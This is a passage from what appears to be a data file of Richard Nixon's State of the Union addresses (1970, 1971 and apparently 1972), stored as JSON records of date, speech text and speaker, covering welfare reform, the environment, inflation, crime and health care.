markets--but they still must\ncompete. The new technology program will put to use the skills of many\nhighly trained Americans, skills that might otherwise be wasted. It will\nalso meet the growing technological challenge from abroad, and it will thus\nhelp to create new industries, as well as creating more jobs for America's\nworkers in producing for the world's markets.This second session of the 92d Congress already has before it more than 90\nmajor Administration proposals which still await action.I have discussed these in the extensive written message that I have\npresented to the Congress today.They include, among others, our programs to improve life for the aging; to\ncombat crime and drug abuse; to improve health services and to ensure that\nno one will be denied needed health care because of inability to pay; to\nprotect workers' pension rights; to promote equal opportunity for members\nof minorities, and others who have been left behind; to expand consumer\nprotection; to improve the environment; to revitalize rural America; to\nhelp the cities; to launch new initiatives in education; to improve\ntransportation, and to put an end to costly labor tie-ups in\ntransportation.The west coast dock strike is a case in point. This Nation cannot and will\nnot tolerate that kind of irresponsible labor tie-up in the future.The messages also include basic reforms which are essential if our\nstructure of government is to be adequate in the decades ahead.They include reform of our wasteful and outmoded welfare\nsystem--substitution of a new system that provides work requirements and\nwork incentives for those who can help themselves, income support for those\nwho cannot help themselves, and fairness to the working poor.They include a $17 billion program of Federal revenue sharing with the\nStates and localities as an investment in their renewal, an investment also\nof faith in the American people.They also include a sweeping reorganization of the executive branch of the\nFederal Government so that it will be more efficient, more responsive, and\nable to meet the challenges of the decades ahead.One year ago, standing in this place, I laid before the opening session of\nthis Congress six great goals. One of these was welfare reform. That\nproposal has been before the Congress now for nearly 2 1/2 years.My proposals on revenue sharing, government reorganization, health care,\nand the environment have now been before the Congress for nearly a year.\nMany of the other major proposals that I have referred to have been here\nthat long or longer.Now, 1971, we can say, was a year of consideration of these measures. Now\nlet us join in making 1972 a year of action on them, action by the\nCongress, for the Nation and for the people of America.Now, in addition, there is one pressing need which I have not previously\ncovered, but which must be placed on the national agenda.We long have looked in this Nation to the local property tax as the main\nsource of financing for public primary and secondary education.As a result, soaring school costs, soaring property tax rates now threaten\nboth our communities and our schools. They threaten communities because\nproperty taxes, which more than doubled in the 10 years from 1960 to '70,\nhave become one of the most oppressive and discriminatory of all taxes,\nhitting most cruelly at the elderly and the retired; and they threaten\nschools, as hard-pressed voters understandably reject new bond issues at\nthe polls.The problem has been given even greater urgency by four recent court\ndecisions, which have held that the conventional method of financing\nschools through local property taxes is discriminatory and\nunconstitutional.Nearly 2 years ago, I named a special Presidential commission to study the\nproblems of school finance, and I also directed the Federal departments to\nlook into the same problems. We are developing comprehensive proposals to\nmeet these problems.This issue involves two complex and interrelated sets of problems: support\nof the schools and the basic relationships of Federal, State, and local\ngovernments in any tax reforms.Under the leadership of the Secretary of the Treasury, we are carefully\nreviewing all of the tax aspects, and I have this week enlisted the\nAdvisory Commission on Intergovernmental Relations in addressing the\nintergovernmental relations aspects.I have asked this bipartisan Commission to review our proposals for Federal\naction to cope with the gathering crisis of school finance and property\ntaxes. Later in the year, when both Commissions have completed their\nstudies, I shall make my final recommendations for relieving the burden of\nproperty taxes and providing both fair and adequate financing for our\nchildren's education.These recommendations will be revolutionary. But all these recommendations,\nhowever, will be rooted in one fundamental principle with which there can\nbe no compromise: Local school boards must have control over local\nschools.As we look ahead over the coming decades, vast new growth and change are\nnot only certainties, they will be the dominant reality of this world, and\nparticularly of our life in America.Surveying the certainty of rapid change, we can be like a fallen rider\ncaught in the stirrups--or we can sit high in the saddle, the masters of\nchange, directing it on a course we choose.The secret of mastering change in today's world is to reach back to old and\nproven principles, and to adapt them with imagination and intelligence to\nthe new realities of a new age.That is what we have done in the proposals that I have laid before the\nCongress. They are rooted in basic principles that are as enduring as human\nnature, as robust as the American experience; and they are responsive to\nnew conditions. Thus they represent a spirit of change that is truly\nrenewal.As we look back at those old principles, we find them as timely as they are\ntimeless.We believe in independence, and self-reliance, and the creative value of\nthe competitive spirit.We believe in full and equal opportunity for all Americans and in the\nprotection of individual rights and liberties.We believe in the family as the keystone of the community, and in the\ncommunity as the keystone of the Nation.We believe in compassion toward those in need.We believe in a system of law, justice, and order as the basis of a\ngenuinely free society.We believe that a person should get what he works for--and that those who\ncan, should work for what they get.We believe in the capacity of people to make their own decisions in their\nown lives, in their own communities--and we believe in their right to make\nthose decisions.In applying these principles, we have done so with the full understanding\nthat what we seek in the seventies, what our quest is, is not merely for\nmore, but for better for a better quality of life for all Americans.Thus, for example, we are giving a new measure of attention to cleaning up\nour air and water, making our surroundings more attractive. We are\nproviding broader support for the arts, helping stimulate a deeper\nappreciation of what they can contribute to the Nation's activities and to\nour individual lives.But nothing really matters more to the quality of our lives than the way we\ntreat one another, than our capacity to live respectfully together as a\nunified society, with a full, generous regard for the rights of others and\nalso for the feelings of others.As we recover from the turmoil and violence of recent years, as we learn\nonce again to speak with one another instead of shouting at one another, we\nare regaining that capacity.As is customary here, on this occasion, I have been talking about programs.\nPrograms are important. But even more important than programs is what we\nare as a Nation--what we mean as a Nation, to ourselves and to the world.In New York Harbor stands one of the most famous statues in the world--the\nStatue of Liberty, the gift in 1886 of the people of France to the people\nof the United States. This statue is more than a landmark; it is a\nsymbol--a symbol of what America has meant to the world.It reminds us that what America has meant is not its wealth, and not its\npower, but its spirit and purpose--a land that enshrines liberty and\nopportunity, and that has held out a hand of welcome to millions in search\nof a better and a fuller and, above all, a freer life.The world's hopes poured into America, along with its people. And those\nhopes, those dreams, that have been brought here from every corner of the\nworld, have become a part of the hope that we now hold out to the world.Four years from now, America will celebrate the 200th anniversary of its\nfounding as a Nation. There are those who say that the old Spirit of '76 is\ndead--that we no longer have the strength of character, the idealism, the\nfaith in our founding purposes that that spirit represents.Those who say this do not know America.We have been undergoing self-doubts and self-criticism. But these are only\nthe other side of our growing sensitivity to the persistence of want in the\nmidst of plenty, of our impatience with the slowness with which age-old\nills are being overcome.If we were indifferent to the shortcomings of our society, or complacent\nabout our institutions, or blind to the lingering inequities--then we would\nhave lost our way.But the fact that we have those concerns is evidence that our ideals, deep\ndown, are still strong. Indeed, they remind us that what is really best\nabout America is its compassion. They remind us that in the final analysis,\nAmerica is great not because it is strong, not because it is rich, but\nbecause this is a good country.Let us reject the narrow visions of those who would tell us that we are\nevil because we are not yet perfect, that we are corrupt because we are not\nyet pure, that all the sweat and toil and sacrifice that have gone into the\nbuilding of America were for naught because the building is not yet done.Let us see that the path we are traveling is wide, with room in it for all\nof us, and that its direction is toward a better Nation and a more peaceful\nworld.Never has it mattered more that we go forward together.Look at this Chamber. The leadership of America is here today--the Supreme\nCourt, the Cabinet, the Senate, the House of Representatives.Together, we hold the future of the Nation, and the conscience of the\nNation in our hands.Because this year is an election year, it will be a time of great\npressure.If we yield to that pressure and fail to deal seriously with the historic\nchallenges that we face, we will have failed the trust of millions of\nAmericans and shaken the confidence they have a right to place in us, in\ntheir Government.Never has a Congress had a greater opportunity to leave a legacy of a\nprofound and constructive reform for the Nation than this Congress.If we succeed in these tasks, there will be credit enough for all--not only\nfor doing what is right, but doing it in the right way, by rising above\npartisan interest to serve the national interest.And if we fail, more than any one of us, America will be the loser.That is why my call upon the Congress today is for a high statesmanship, so\nthat in the years to come Americans will look back and say because it\nwithstood the intense pressures of a political year, and achieved such\ngreat good for the American people and for the future of this Nation, this\nwas truly a great Congress.", 
+    "name": "Richard Nixon"
+}
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+{
+    "date": "January 22, 1970", 
+    "speech": "Mr. Speaker, Mr. President, my colleagues in the Congress, our\ndistinguished guests and my fellow Americans:To address a joint session of the Congress in this great Chamber in which I\nwas once privileged to serve is an honor for which I am deeply grateful.The State of the Union Address is traditionally an occasion for a lengthy\nand detailed account by the President of what he has accomplished in the\npast, what he wants the Congress to do in the future, and, in an election\nyear, to lay the basis for the political issues which might be decisive in\nthe fall.Occasionally there comes a time when profound and far-reaching events\ncommand a break with tradition. This is such a time.I say this not only because 1970 marks the beginning of a new decade in\nwhich America will celebrate its 200th birthday. I say it because new\nknowledge and hard experience argue persuasively that both our programs and\nour institutions in America need to be reformed.The moment has arrived to harness the vast energies and abundance of this\nland to the creation of a new American experience, an experience richer and\ndeeper and more truly a reflection of the goodness and grace of the human\nspirit.The seventies will be a time of new beginnings, a time of exploring both on\nthe earth and in the heavens, a time of discovery. But the time has also\ncome for emphasis on developing better ways of managing what we have and of\ncompleting what man's genius has begun but left unfinished.Our land, this land that is ours together, is a great and a good land. It\nis also an unfinished land, and the challenge of perfecting it is the\nsummons of the seventies.It is in that spirit that I address myself to those great issues facing our\nNation which are above partisanship.When we speak of America's priorities the first priority must always be\npeace for America and the world.The major immediate goal of our foreign policy is to bring an end to the\nwar in Vietnam in a way that our generation will be remembered not so much\nas the generation that suffered in war, but more for the fact that we had\nthe courage and character to win the kind of a just peace that the next\ngeneration was able to keep.We are making progress toward that goal.The prospects for peace are far greater today than they were a year ago.A major part of the credit for this development goes to the Members of this\nCongress who, despite their differences on the conduct of the war, have\noverwhelmingly indicated their support of a just peace. By this action, you\nhave completely demolished the enemy's hopes that they can gain in\nWashington the victory our fighting men have denied them in Vietnam.No goal could be greater than to make the next generation the first in this\ncentury in which America was at peace with every nation in the world.I shall discuss in detail the new concepts and programs designed to achieve\nthis goal in a separate report on foreign policy, which I shall submit to\nthe Congress at a later date.Today, let me describe the directions of our new policies.We have based our policies on an evaluation of the world as it is, not as\nit was 25 years ago at the conclusion of World War II. Many of the policies\nwhich were necessary and right then are obsolete today.Then, because of America's overwhelming military and economic strength,\nbecause of the weakness of other major free world powers and the inability\nof scores of newly independent nations to defend, or even govern,\nthemselves, America had to assume the major burden for the defense of\nfreedom in the world.In two wars, first in Korea and now in Vietnam, we furnished most of the\nmoney, most of the arms, most of the men to help other nations defend their\nfreedom.Today the great industrial nations of Europe, as well as Japan, have\nregained their economic strength; and the nations of Latin America--and\nmany of the nations who acquired their freedom from colonialism after World\nWar II in Asia and Africa--have a new sense of pride and dignity and a\ndetermination to assume the responsibility for their own defense.That is the basis of the doctrine I announced at Guam.Neither the defense nor the development of other nations can be exclusively\nor primarily an American undertaking.The nations of each part of the world should assume the primary\nresponsibility for their own well-being; and they themselves should\ndetermine the terms of that well-being.We shall be faithful to our treaty commitments, but we shall reduce our\ninvolvement and our presence in other nations' affairs.To insist that other nations play a role is not a retreat from\nresponsibility; it is a sharing of responsibility.The result of this new policy has been not to weaken our alliances, but to\ngive them new life, new strength, a new sense of common purpose.Relations with our European allies are once again strong and healthy, based\non mutual consultation and mutual responsibility.We have initiated a new approach to Latin America in which we deal with\nthose nations as partners rather than patrons.The new partnership concept has been welcomed in Asia. We have developed an\nhistoric new basis for Japanese-American friendship and cooperation, which\nis the linchpin for peace in the Pacific.If we are to have peace in the last third of the century, a major factor\nwill be the development of a new relationship between the United States and\nthe Soviet Union.I would not underestimate our differences, but we are moving with precision\nand purpose from an era of confrontation to an era of negotiation.Our negotiations on strategic arms limitations and in other areas will have\nfar greater chance for success if both sides enter them motivated by mutual\nself-interest rather than naive sentimentality.It is with this same spirit that we have resumed discussions with Communist\nChina in our talks at Warsaw.Our concern in our relations with both these nations is to avoid a\ncatastrophic collision and to build a solid basis for peaceful settlement\nof our differences.I would be the last to suggest that the road to peace is not difficult and\ndangerous, but I believe our new policies have contributed to the prospect\nthat America may have the best chance since World War II to enjoy a\ngeneration of uninterrupted peace. And that chance will be enormously\nincreased if we continue to have a relationship between Congress and the\nExecutive in which, despite differences in detail, where the security of\nAmerica and the peace of mankind are concerned, we act not as Republicans,\nnot as Democrats, but as Americans.As we move into the decade of the seventies, we have the greatest\nopportunity for progress at home of any people in world history.Our gross national product will increase by $500 billion in the next 10\nyears. This increase alone is greater than the entire growth of the\nAmerican economy from 1790 to 1950.The critical question is not whether we will grow, but how we will use that\ngrowth.The decade of the sixties was also a period of great growth economically.\nBut in that same 10-year period we witnessed the greatest growth of crime,\nthe greatest increase in inflation, the greatest social unrest in America\nin 100 years. Never has a nation seemed to have had more and enjoyed it\nless.At heart, the issue is the effectiveness of government.Ours has become--as it continues to be, and should remain--a society of\nlarge expectations. Government helped to generate these expectations. It\nundertook to meet them. Yet, increasingly, it proved unable to do so.As a people, we had too many visions--and too little vision.Now, as we enter the seventies, we should enter also a great age of reform\nof the institutions of American government.Our purpose in this period should not be simply better management of the\nprograms of the past. The time has come for a new quest--a quest not for a\ngreater quantity of what we have, but for a new quality of life in\nAmerica.A major part of the substance for an unprecedented advance in this Nation's\napproach to its problems and opportunities is contained in more than two\nscore legislative proposals which I sent to the Congress last year and\nwhich still await enactment.I will offer at least a dozen more major programs in the course of this\nsession.At this point I do not intend to go through a detailed listing of what I\nhave proposed or will propose, but I would like to mention three areas in\nwhich urgent priorities demand that we move and move now:First, we cannot delay longer in accomplishing a total reform of our\nwelfare system. When a system penalizes work, breaks up homes, robs\nrecipients of dignity, there is no alternative to abolishing that system\nand adopting in its place the program of income support, job training, and\nwork incentives which I recommended to the Congress last year.Second, the time has come to assess and reform all of our institutions of\ngovernment at the Federal, State, and local level. It is time for a New\nFederalism, in which, after 190 years of power flowing from the people and\nlocal and State governments to Washington, D.C., it will begin to flow from\nWashington back to the States and to the people of the United States.Third, we must adopt reforms which will expand the range of opportunities\nfor all Americans. We can fulfill the American dream only when each person\nhas a fair chance to fulfill his own dreams. This means equal voting\nrights, equal employment opportunity, and new opportunities for expanded\nownership. Because in order to be secure in their human rights, people need\naccess to property rights.I could give similar examples of the need for reform in our programs for\nhealth, education, housing, transportation, as well as other critical areas\nwhich directly affect the well-being of millions of Americans.The people of the United States should wait no longer for these reforms\nthat would so deeply enhance the quality of their life.When I speak of actions which would be beneficial to the American people, I\ncan think of none more important than for the Congress to join this\nadministration in the battle to stop the rise in the cost of living.Now, I realize it is tempting to blame someone else for inflation. Some\nblame business for raising prices. Some blame unions for asking for more\nwages.But a review of the stark fiscal facts of the 1960's clearly demonstrates\nwhere the primary blame for rising prices must be placed.In the decade of the sixties the Federal Government spent $57 billion more\nthan it took in in taxes.In that same decade the American people paid the bill for that deficit in\nprice increases which raised the cost of living for the average family of\nfour by $200 per month in America.Now millions of Americans are forced to go into debt today because the\nFederal Government decided to go into debt yesterday. We must balance our\nFederal budget so that American families will have a better chance to\nbalance their family budgets.Only with the cooperation of the Congress can we meet this highest priority\nobjective of responsible government. We are on the right track.We had a balanced budget in 1969. This administration cut more than $7\nbillion out of spending plans in order to produce a surplus in 1970, and in\nspite of the fact that Congress reduced revenues by $3 billion, I shall\nrecommend a balanced budget for 1971.But I can assure you that not only to present, but to stay within, a\nbalanced budget requires some very hard decisions. It means rejecting\nspending programs which would benefit some of the people when their net\neffect would result in price increases for all the people.It is time to quit putting good money into bad programs. Otherwise, we will\nend up with bad money and bad programs.I recognize the political popularity of spending programs, and particularly\nin an election year. But unless we stop the rise in prices, the cost of\nliving for millions of American families will become unbearable and\ngovernment's ability to plan programs for progress for the future will\nbecome impossible.In referring to budget cuts, there is one area where I have ordered an\nincrease rather than a cut--and that is the requests of those agencies with\nthe responsibilities for law enforcement.We have heard a great deal of overblown rhetoric during the sixties in\nwhich the word \"war\" has perhaps too often been used--the war on poverty,\nthe war on misery, the war on disease, the war on hunger. But if there is\none area where the word \"war\" is appropriate it is in the fight against\ncrime. We must declare and win the war against the criminal elements which\nincreasingly threaten our cities, our homes, and our lives.We have a tragic example of this problem in the Nation's Capital, for whose\nsafety the Congress and the Executive have the primary responsibility. I\ndoubt if many Members of this Congress who live more than a few blocks from\nhere would dare leave their cars in the Capitol garage and walk home alone\ntonight.Last year this administration sent to the Congress 13 separate pieces of\nlegislation dealing with organized crime, pornography, street crime,\nnarcotics, crime in the District of Columbia.None of these bills has reached my desk for signature.I am confident that the Congress will act now to adopt the legislation I\nplaced before you last year. We in the Executive have done everything we\ncan under existing law, but new and stronger weapons are needed in that\nfight.While it is true that State and local law enforcement agencies are the\ncutting edge in the effort to eliminate street crime, burglaries, murder,\nmy proposals to you have embodied my belief that the Federal Government\nshould play a greater role in working in partnership with these agencies.That is why 1971 Federal spending for local law enforcement will double\nthat budgeted for 1970.The primary responsibility for crimes that affect individuals is with local\nand State rather than with Federal Government. But in the field of\norganized crime, narcotics, pornography, the Federal Government has a\nspecial responsibility it should fulfill. And we should make Washington,\nD.C., where we have the primary responsibility, an example to the Nation\nand the world of respect for law rather than lawlessness.I now turn to a subject which, next to our desire for peace, may well\nbecome the major concern of the American people in the decade of the\nseventies.In the next 10 years we shall increase our wealth by 50 percent. The\nprofound question is: Does this mean we will be 50 percent richer in a real\nsense, 50 percent better off, 50 percent happier?Or does it mean that in the year 1980 the President standing in this place\nwill look back on a decade in which 70 percent of our people lived in\nmetropolitan areas choked by traffic, suffocated by smog, poisoned by\nwater, deafened by noise, and terrorized by crime?These are not the great questions that concern world leaders at summit\nconferences. But people do not live at the summit. They live in the\nfoothills of everyday experience, and it is time for all of us to concern\nourselves with the way real people live in real life.The great question of the seventies is, shall we surrender to our\nsurroundings, or shall we make our peace with nature and begin to make\nreparations for the damage we have done to our air, to our land, and to our\nwater?Restoring nature to its natural state is a cause beyond party and beyond\nfactions. It has become a common cause of all the people of this country.\nIt is a cause of particular concern to young Americans, because they more\nthan we will reap the grim consequences of our failure to act on programs\nwhich are needed now if we are to prevent disaster later.Clean air, clean water, open spaces--these should once again be the\nbirthright of every American. If we act now, they can be.We still think of air as free. But clean air is not free, and neither is\nclean water. The price tag on pollution control is high. Through our years\nof past carelessness we incurred a debt to nature, and now that debt is\nbeing called.The program I shall propose to Congress will be the most comprehensive and\ncostly program in this field in America's history.It is not a program for just one year. A year's plan in this field is no\nplan at all. This is a time to look ahead not a year, but 5 years or 10\nyears--whatever time is required to do the job.I shall propose to this Congress a $10 billion nationwide clean waters\nprogram to put modern municipal waste treatment plants in every place in\nAmerica where they are needed to make our waters clean again, and do it\nnow. We have the industrial capacity, if we begin now, to build them all\nwithin 5 years. This program will get them built within 5 years.As our cities and suburbs relentlessly expand, those priceless open spaces\nneeded for recreation areas accessible to their people are swallowed\nup--often forever. Unless we preserve these spaces while they are still\navailable, we will have none to preserve. Therefore, I shall propose new\nfinancing methods for purchasing open space and parklands now, before they\nare lost to us.The automobile is our worst polluter of the air. Adequate control requires\nfurther advances in engine design and fuel composition. We shall intensify\nour research, set increasingly strict standards, and strengthen enforcement\nprocedures--and we shall do it now.We can no longer afford to consider air and water common property, free to\nbe abused by anyone without regard to the consequences. Instead, we should\nbegin now to treat them as scarce resources, which we are no more free to\ncontaminate than we are free to throw garbage into our neighbor's yard.This requires comprehensive new regulations. It also requires that, to the\nextent possible, the price of goods should be made to include the costs of\nproducing and disposing of them without damage to the environment.Now, I realize that the argument is often made that there is a fundamental\ncontradiction between economic growth and the quality of life, so that to\nhave one we must forsake the other.The answer is not to abandon growth, but to redirect it. For example, we\nshould turn toward ending congestion and eliminating smog the same\nreservoir of inventive genius that created them in the first place.Continued vigorous economic growth provides us with the means to enrich\nlife itself and to enhance our planet as a place hospitable to man.Each individual must enlist in this fight if it is to be won.It has been said that no matter how many national parks and historical\nmonuments we buy and develop, the truly significant environment for each of\nus is that in which we spend 80 percent of our time--in our homes, in our\nplaces of work, the streets over which we travel.Street litter, rundown parking strips and yards, dilapidated fences, broken\nwindows, smoking automobiles, dingy working places, all should be the\nobject of our fresh view.We have been too tolerant of our surroundings and too willing to leave it\nto others to clean up our environment. It is time for those who make\nmassive demands on society to make some minimal demands on themselves. Each\nof us must resolve that each day he will leave his home, his property, the\npublic places of the city or town a little cleaner, a little better, a\nlittle more pleasant for himself and those around him.With the help of people we can do anything, and without their help, we can\ndo nothing. In this spirit, together, we can reclaim our land for ours and\ngenerations to come.Between now and the year 2000, over 100 million children will be born in\nthe United States. Where they grow up--and how--will, more than any one\nthing, measure the quality of American life in these years ahead.This should be a warning to us.For the past 30 years our population has also been growing and shifting.\nThe result is exemplified in the vast areas of rural America emptying out\nof people and of promise--a third of our counties lost population in the\nsixties.The violent and decayed central cities of our great metropolitan complexes\nare the most conspicuous area of failure in American life today.I propose that before these problems become insoluble, the Nation develop a\nnational growth policy.In the future, government decisions as to where to build highways, locate\nairports, acquire land, or sell land should be made with a clear objective\nof aiding a balanced growth for America.In particular, the Federal Government must be in a position to assist in\nthe building of new cities and the rebuilding of old ones.At the same time, we will carry our concern with the quality of life in\nAmerica to the farm as well as the suburb, to the village as well as to the\ncity. What rural America needs most is a new kind of assistance. It needs\nto be dealt with, not as a separate nation, but as part of an overall\ngrowth policy for America. We must create a new rural environment which\nwill not only stem the migration to urban centers, but reverse it. If we\nseize our growth as a challenge, we can make the 1970's an historic period\nwhen by conscious choice we transformed our land into what we want it to\nbecome.America, which has pioneered in the new abundance, and in the new\ntechnology, is called upon today to pioneer in meeting the concerns which\nhave followed in their wake--in turning the wonders of science to the\nservice of man.In the majesty of this great Chamber we hear the echoes of America's\nhistory, of debates that rocked the Union and those that repaired it, of\nthe summons to war and the search for peace, of the uniting of the people,\nthe building of a nation.Those echoes of history remind us of our roots and our strengths.They remind us also of that special genius of American democracy, which at\none critical turning point after another has led us to spot the new road to\nthe future and given us the wisdom and the courage to take it.As I look down that new road which I have tried to map out today, I see a\nnew America as we celebrate our 200th anniversary 6 years from now.I see an America in which we have abolished hunger, provided the means for\nevery family in the Nation to obtain a minimum income, made enormous\nprogress in providing better housing, faster transportation, improved\nhealth, and superior education.I see an America in which we have checked inflation, and waged a winning\nwar against crime.I see an America in which we have made great strides in stopping the\npollution of our air, cleaning up our water, opening up our parks,\ncontinuing to explore in space.Most important, I see an America at peace with all the nations of the\nworld.This is not an impossible dream. These goals are all within our reach.In times past, our forefathers had the vision but not the means to achieve\nsuch goals.Let it not be recorded that we were the first American generation that had\nthe means but not the vision to make this dream come true.But let us, above all, recognize a fundamental truth. We can be the best\nclothed, best fed, best housed people in the world, enjoying clean air,\nclean water, beautiful parks, but we could still be the unhappiest people\nin the world without an indefinable spirit--the lift of a driving dream\nwhich has made America, from its beginning, the hope of the world.Two hundred years ago this was a new nation of 3 million people, weak\nmilitarily, poor economically. But America meant something to the world\nthen which could not be measured in dollars, something far more important\nthan military might.Listen to President Thomas Jefferson in 1802: We act not \"for ourselves\nalone, but for the whole human race.\"We had a spiritual quality then which caught the imagination of millions of\npeople in the world.Today, when we are the richest and strongest nation in the world, let it\nnot be recorded that we lack the moral and spiritual idealism which made us\nthe hope of the world at the time of our birth.The demands of us in 1976 are even greater than in 1776.It is no longer enough to live and let live. Now we must live and help\nlive.We need a fresh climate in America, one in which a person can breathe\nfreely and breathe in freedom.Our recognition of the truth that wealth and happiness are not the same\nthing requires us to measure success or failure by new criteria.Even more than the programs I have described today, what this Nation needs\nis an example from its elected leaders in providing the spiritual and moral\nleadership which no programs for material progress can satisfy.Above all, let us inspire young Americans with a sense of excitement, a\nsense of destiny, a sense of involvement, in meeting the challenges we face\nin this great period of our history. Only then are they going to have any\nsense of satisfaction in their lives.The greatest privilege an individual can have is to serve in a cause bigger\nthan himself. We have such a cause.How we seize the opportunities I have described today will determine not\nonly our future, but the future of peace and freedom in this world in the\nlast third of the century.May God give us the wisdom, the strength and, above all, the idealism to be\nworthy of that challenge, so that America can fulfill its destiny of being\nthe world's best hope for liberty, for opportunity, for progress and peace\nfor all peoples.", 
+    "name": "Richard Nixon"
+}
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+{
+    "date": "January 22, 1971", 
+    "speech": "Mr. Speaker, Mr. President, my colleagues in the Congress, our\ndistinguished guests, my fellow Americans:As this 92d Congress begins its session, America has lost a great Senator,\nand all of us who had the privilege to know him have lost a loyal friend. I\nhad the privilege of visiting Senator Russell in the hospital just a few\ndays before he died. He never spoke about himself. He only spoke eloquently\nabout the need for a strong national defense. In tribute to one of the most\nmagnificent Americans of all time, I respectfully ask that all those here\nwill rise in silent prayer for Senator Russell.Thank you.Mr. Speaker, before I begin my formal address, I want to use this\nopportunity to congratulate all of those who were winners in the rather\nspirited contest for leadership positions in the House and the Senate and,\nalso, to express my condolences to the losers. I know how both of you\nfeel.And I particularly want to join with all of the Members of the House and\nthe Senate as well in congratulating the new Speaker of the United States\nCongress.To those new Members of this House who may have some doubts about the\npossibilities for advancement in the years ahead, I would remind you that\nthe Speaker and I met just 24 years ago in this Chamber as freshmen Members\nof the 80th Congress. As you see, we both have come up in the world a bit\nsince then.Mr. Speaker, this 92d Congress has a chance to be recorded as the greatest\nCongress in America's history.In these troubled years just past, America has been going through a long\nnightmare of war and division, of crime and inflation. Even more deeply, we\nhave gone through a long, dark night of the American spirit. But now that\nnight is ending. Now we must let our spirits soar again. Now we are ready\nfor the lift of a driving dream.The people of this Nation are eager to get on with the quest for new\ngreatness. They see challenges, and they are prepared to meet those\nchallenges. It is for us here to open the doors that will set free again\nthe real greatness of this Nation--the genius of the American people.How shall we meet this challenge? How can we truly open the doors, and set\nfree the full genius of our people?The way in which the 92d Congress answers these questions will determine\nits place in history. More importantly, it can determine this Nation's\nplace in history as we enter the third century of our independence.Tonight I shall present to the Congress six great goals. I shall ask not\nsimply for more new programs in the old framework. I shall ask to change\nthe framework of government itself---to reform the entire structure of\nAmerican government so we can make it again fully responsive to the needs\nand the wishes of the American people.If we act boldly--if we seize this moment and achieve these goals--we can\nclose the gap between promise and performance in American government. We\ncan bring together the resources of this Nation and the spirit of the\nAmerican people.In discussing these great goals, I shall deal tonight only with matters on\nthe domestic side of the Nation's agenda. I shall make a separate report to\nthe Congress and the Nation next month on developments in foreign policy.The first of these great goals is already before the Congress.I urge that the unfinished business of the 91st Congress be made the first\npriority business of the 92d Congress.Over the next 2 weeks, I will call upon Congress to take action on more\nthan 35 pieces of proposed legislation on which action was not completed\nlast year.The most important is welfare reform.The present welfare system has become a monstrous, consuming outrage--an\noutrage against the community, against the taxpayer, and particularly\nagainst the children it is supposed to help.We may honestly disagree, as we do, on what to do about it. But we can all\nagree that we must meet the challenge, not by pouring more money into a bad\nprogram, but by abolishing the present welfare system and adopting a new\none.So let us place a floor under the income of every family with children in\nAmerica--and without those demeaning, soul-stifling affronts to human\ndignity that so blight the lives of welfare children today. But let us also\nestablish an effective work incentive and an effective work requirement.Let us provide the means by which more can help themselves. This shall be\nour goal.Let us generously help those who are not able to help themselves. But let\nus stop helping those who are able to help themselves but refuse to do so.The second great goal is to achieve what Americans have not enjoyed since\n1957--full prosperity in peacetime.The tide of inflation has turned. The rise in the cost of living, which had\nbeen gathering dangerous momentum in the late sixties, was reduced last\nyear. Inflation will be further reduced this year.But as we have moved from runaway inflation toward reasonable price\nstability and at the same time as we have been moving from a wartime\neconomy to a peacetime economy, we have paid a price in increased\nunemployment.We should take no comfort from the fact that the level of unemployment in\nthis transition from a wartime to a peacetime economy is lower than in any\npeacetime year of the sixties.This is not good enough for the man who is unemployed in the seventies. We\nmust do better for workers in peacetime and we will do better.To achieve this, I will submit an expansionary budget this year--one that\nwill help stimulate the economy and thereby open up new job opportunities\nfor millions of Americans.It will be a full employment budget, a budget designed to be in balance if\nthe economy were operating at its peak potential. By spending as if we were\nat full employment, we will help to bring about full employment.I ask the Congress to accept these expansionary policies--to accept the\nconcept of a full employment budget. At the same time, I ask the Congress\nto cooperate in resisting expenditures that go beyond the limits of the\nfull employment budget. For as we wage a campaign to bring about a widely\nshared prosperity, we must not reignite the fires of inflation and so\nundermine that prosperity.With the stimulus and the discipline of a full employment budget, with the\ncommitment of the independent Federal Reserve System to provide fully for\nthe monetary needs of a growing economy, and with a much greater effort on\nthe part of labor and management to make their wage and price decisions in\nthe light of the national interest and their own self-interest--then for\nthe worker, the farmer, the consumer, for Americans everywhere we shall\ngain the goal of a new prosperity: more jobs, more income, more profits,\nwithout inflation and without war.This is a great goal, and one that we can achieve together.The third great goal is to continue the effort so dramatically begun last\nyear: to restore and enhance our natural environment.Building on the foundation laid in the 37-point program that I submitted to\nCongress last year, I will propose a strong new set of initiatives to clean\nup our air and water, to combat noise, and to preserve and restore our\nsurroundings.I will propose programs to make better use of our land, to encourage a\nbalanced national growth--growth that will revitalize our rural heartland\nand enhance the quality of life in America.And not only to meet today's needs but to anticipate those of tomorrow, I\nwill put forward the most extensive program ever proposed by a President of\nthe United States to expand the Nation's parks, recreation areas, open\nspaces, in a way that truly brings parks to the people where the people\nare. For only if we leave a legacy of parks will the next generation have\nparks to enjoy.As a fourth great goal, I will offer a far-reaching set of proposals for\nimproving America's health care and making it available more fairly to more\npeople.I will propose:--A program to insure that no American family will be prevented from\nobtaining basic medical care by inability to pay.--I will propose a major increase in and redirection of aid to medical\nschools, to greatly increase the number of doctors and other health\npersonnel.--Incentives to improve the delivery of health services, to get more\nmedical care resources into those areas that have not been adequately\nserved, to make greater use of medical assistants, and to slow the alarming\nrise in the costs of medical care.--New programs to encourage better preventive medicine, by attacking the\ncauses of disease and injury, and by providing incentives to doctors to\nkeep people well rather than just to treat them when they are sick.I will also ask for an appropriation of an extra $100 million to launch an\nintensive campaign to find a cure for cancer, and I will ask later for\nwhatever additional funds can effectively be used. The time has come in\nAmerica when the same kind of concentrated effort that split the atom and\ntook man to the moon should be turned toward conquering this dread disease.\nLet us make a total national commitment to achieve this goal.America has long been the wealthiest nation in the world. Now it is time we\nbecame the healthiest nation in the world.The fifth great goal is to strengthen and to renew our State and local\ngovernments.As we approach our 200th anniversary in 1976, we remember that this Nation\nlaunched itself as a loose confederation of separate States, without a\nworkable central government. At that time, the mark of its leaders' vision\nwas that they quickly saw the need to balance the separate powers of the\nStates with a government of central powers.And so they gave us a constitution of balanced powers, of unity with\ndiversity--and so clear was their vision that it survives today as the\noldest written constitution still in force in the world.For almost two centuries since--and dramatically in the 1930's--at those\ngreat turning points when the question has been between the States and the\nFederal Government, that question has been resolved in favor of a stronger\ncentral Federal Government.During this time the Nation grew and the Nation prospered. But one thing\nhistory tells us is that no great movement goes in the same direction\nforever. Nations change, they adapt, or they slowly die.The time has now come in America to reverse the flow of power and resources\nfrom the States and communities to Washington, and start power and\nresources flowing back from Washington to the States and communities and,\nmore important, to the people all across America.The time has come for a new partnership between the Federal Government and\nthe States and localities--a partnership in which we entrust the States and\nlocalities with a larger share of the 